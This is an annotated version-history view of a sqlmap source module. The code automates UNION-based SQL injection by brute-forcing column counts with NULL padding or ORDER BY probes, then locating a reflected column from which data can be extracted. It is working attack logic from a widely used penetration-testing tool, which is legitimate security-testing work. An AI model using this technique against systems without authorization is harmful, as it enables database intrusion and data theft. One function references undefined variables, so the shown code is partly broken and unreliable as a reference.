2008-10-15 19:38:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2008-10-15 19:56:32 +04:00
|
|
|
$Id$
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-14 18:41:14 +04:00
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
from lib.core.agent import agent
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import randomStr
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
2008-12-02 02:09:07 +03:00
|
|
|
from lib.core.data import queries
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.session import setUnion
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.unescaper import unescaper
|
|
|
|
from lib.parse.html import htmlParser
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
def __unionPosition(negative=False, falseCond=False, count=None, comment=None):
|
2010-10-31 19:58:38 +03:00
|
|
|
validPayload = None
|
2010-03-22 18:39:29 +03:00
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
if count is None:
|
|
|
|
count = kb.unionCount
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
# For each column of the table (# of NULL) perform a request using
|
|
|
|
# the UNION ALL SELECT statement to test it the target url is
|
|
|
|
# affected by an exploitable inband SQL injection vulnerability
|
2010-11-18 20:55:43 +03:00
|
|
|
for exprPosition in range(0, count):
|
2009-04-22 15:48:07 +04:00
|
|
|
# Prepare expression with delimiters
|
|
|
|
randQuery = randomStr()
|
|
|
|
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
|
|
|
|
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
|
|
|
|
|
|
|
# Forge the inband SQL injection request
|
2010-11-18 20:55:43 +03:00
|
|
|
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment)
|
2009-04-22 15:48:07 +04:00
|
|
|
payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
|
|
|
|
|
|
|
|
# Perform the request
|
|
|
|
resultPage, _ = Request.queryPage(payload, content=True)
|
|
|
|
|
2010-11-14 18:39:57 +03:00
|
|
|
if resultPage and randQuery in resultPage:
|
2009-04-22 15:48:07 +04:00
|
|
|
setUnion(position=exprPosition)
|
2010-10-31 19:58:38 +03:00
|
|
|
validPayload = payload
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
break
|
|
|
|
|
2010-10-31 19:58:38 +03:00
|
|
|
return validPayload
|
2010-03-22 18:39:29 +03:00
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
def __unionConfirm(count=None, comment=None):
|
2010-10-31 19:58:38 +03:00
|
|
|
validPayload = None
|
2010-03-22 18:39:29 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
# Confirm the inband SQL injection and get the exact column
|
2010-11-14 01:47:37 +03:00
|
|
|
# position which can be used to extract data
|
2009-04-22 15:48:07 +04:00
|
|
|
if not isinstance(kb.unionPosition, int):
|
2010-11-18 20:55:43 +03:00
|
|
|
debugMsg = "testing full inband with %s columns" % count
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
validPayload = __unionPosition(count=count, comment=comment)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
# Assure that the above function found the exploitable full inband
|
|
|
|
# SQL injection position
|
|
|
|
if not isinstance(kb.unionPosition, int):
|
2010-11-18 20:55:43 +03:00
|
|
|
debugMsg = "testing single-entry inband value with %s columns" % count
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
validPayload = __unionPosition(negative=True, count=count, comment=comment)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
# Assure that the above function found the exploitable partial
|
2010-10-26 03:39:55 +04:00
|
|
|
# (single entry) inband SQL injection position with negative
|
2010-10-31 19:58:38 +03:00
|
|
|
# parameter validPayload
|
2009-04-22 15:48:07 +04:00
|
|
|
if not isinstance(kb.unionPosition, int):
|
2010-11-18 20:55:43 +03:00
|
|
|
# NOTE: disable false condition for the time being, in the
|
|
|
|
# end it produces the same as prepending the original
|
|
|
|
# parameter value with a minus (negative)
|
|
|
|
#validPayload = __unionPosition(falseCond=True, count=count, comment=comment)
|
|
|
|
#
|
2009-04-22 15:48:07 +04:00
|
|
|
# Assure that the above function found the exploitable partial
|
2010-10-26 03:39:55 +04:00
|
|
|
# (single entry) inband SQL injection position by appending
|
2010-10-31 19:58:38 +03:00
|
|
|
# a false condition after the parameter validPayload
|
2010-11-18 20:55:43 +03:00
|
|
|
#if not isinstance(kb.unionPosition, int):
|
|
|
|
# return None
|
|
|
|
#else:
|
|
|
|
# setUnion(falseCond=True)
|
|
|
|
return None
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2010-10-26 03:39:55 +04:00
|
|
|
setUnion(negative=True)
|
2008-12-22 00:39:53 +03:00
|
|
|
|
2010-10-31 19:58:38 +03:00
|
|
|
return validPayload
|
2008-12-22 00:39:53 +03:00
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
def __unionTestByNULLBruteforce(comment):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This method tests if the target url is affected by an inband
|
|
|
|
SQL injection vulnerability. The test is done up to 50 columns
|
|
|
|
on the target database table
|
|
|
|
"""
|
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
query = agent.prefixQuery("UNION ALL SELECT NULL")
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
for count in range(1, conf.uCols+1):
|
2010-11-02 14:59:24 +03:00
|
|
|
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
|
2008-10-15 19:38:22 +04:00
|
|
|
query = query[:-len(" FROM DUAL")]
|
|
|
|
|
|
|
|
if count:
|
|
|
|
query += ", NULL"
|
|
|
|
|
2010-11-02 14:59:24 +03:00
|
|
|
if kb.dbms == DBMS.ORACLE:
|
2008-10-15 19:38:22 +04:00
|
|
|
query += " FROM DUAL"
|
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
validPayload = __unionConfirm(count, comment)
|
2008-12-22 00:39:53 +03:00
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
if validPayload:
|
|
|
|
setUnion(count=count)
|
2008-12-22 00:39:53 +03:00
|
|
|
break
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
return validPayload
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
def __unionTestByOrderBy(comment):
|
|
|
|
columns = None
|
2009-04-28 03:05:11 +04:00
|
|
|
prevPayload = ""
|
2008-12-22 00:39:53 +03:00
|
|
|
|
2010-11-14 02:24:41 +03:00
|
|
|
for count in range(1, conf.uCols+2):
|
2010-11-16 00:42:56 +03:00
|
|
|
query = agent.prefixQuery("ORDER BY %d" % count)
|
2010-11-18 01:00:09 +03:00
|
|
|
orderByQuery = agent.suffixQuery(query, comment)
|
2010-11-16 00:42:56 +03:00
|
|
|
payload = agent.payload(newValue=orderByQuery, negative=negative, falseCond=falseCond)
|
|
|
|
_, seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
|
2008-12-22 00:39:53 +03:00
|
|
|
|
|
|
|
if seqMatcher >= 0.6:
|
|
|
|
columns = count
|
2010-11-18 20:55:43 +03:00
|
|
|
setUnion(count=count)
|
2008-12-22 00:39:53 +03:00
|
|
|
elif columns:
|
|
|
|
break
|
|
|
|
|
|
|
|
prevPayload = payload
|
|
|
|
|
2010-03-22 18:39:29 +03:00
|
|
|
return columns
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def unionTest():
|
|
|
|
"""
|
|
|
|
This method tests if the target url is affected by an inband
|
|
|
|
SQL injection vulnerability. The test is done up to 3*50 times
|
|
|
|
"""
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
|
|
|
return
|
|
|
|
|
2010-11-08 19:46:25 +03:00
|
|
|
if kb.unionTest is not None:
|
|
|
|
return kb.unionTest
|
2010-05-19 18:21:59 +04:00
|
|
|
|
2008-12-29 21:48:23 +03:00
|
|
|
if conf.uTech == "orderby":
|
|
|
|
technique = "ORDER BY clause bruteforcing"
|
2008-12-22 00:39:53 +03:00
|
|
|
else:
|
|
|
|
technique = "NULL bruteforcing"
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
infoMsg = "testing inband sql injection on parameter "
|
2010-01-15 20:42:46 +03:00
|
|
|
infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-31 19:58:38 +03:00
|
|
|
validPayload = None
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-21 17:13:12 +04:00
|
|
|
for comment in (queries[kb.dbms].comment.query, ""):
|
2010-11-18 20:55:43 +03:00
|
|
|
if conf.uTech == "orderby":
|
|
|
|
validPayload = __unionTestByOrderBy(comment)
|
|
|
|
else:
|
|
|
|
validPayload = __unionTestByNULLBruteforce(comment)
|
2010-11-14 01:47:37 +03:00
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
if validPayload:
|
|
|
|
setUnion(comment=comment)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
break
|
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
if isinstance(kb.unionPosition, int):
|
|
|
|
infoMsg = "the target url is affected by an exploitable "
|
|
|
|
infoMsg += "inband sql injection vulnerability "
|
|
|
|
infoMsg += "on parameter '%s' with %d columns" % (kb.injParameter, kb.unionCount)
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2010-11-18 20:55:43 +03:00
|
|
|
infoMsg = "the target url is not affected by an exploitable "
|
|
|
|
infoMsg += "inband sql injection vulnerability "
|
|
|
|
infoMsg += "on parameter '%s'" % kb.injParameter
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-11-14 02:24:41 +03:00
|
|
|
validPayload = agent.removePayloadDelimiters(validPayload, False)
|
|
|
|
setUnion(payload=validPayload)
|
2010-03-22 18:39:29 +03:00
|
|
|
|
2010-11-08 19:46:25 +03:00
|
|
|
return kb.unionTest
|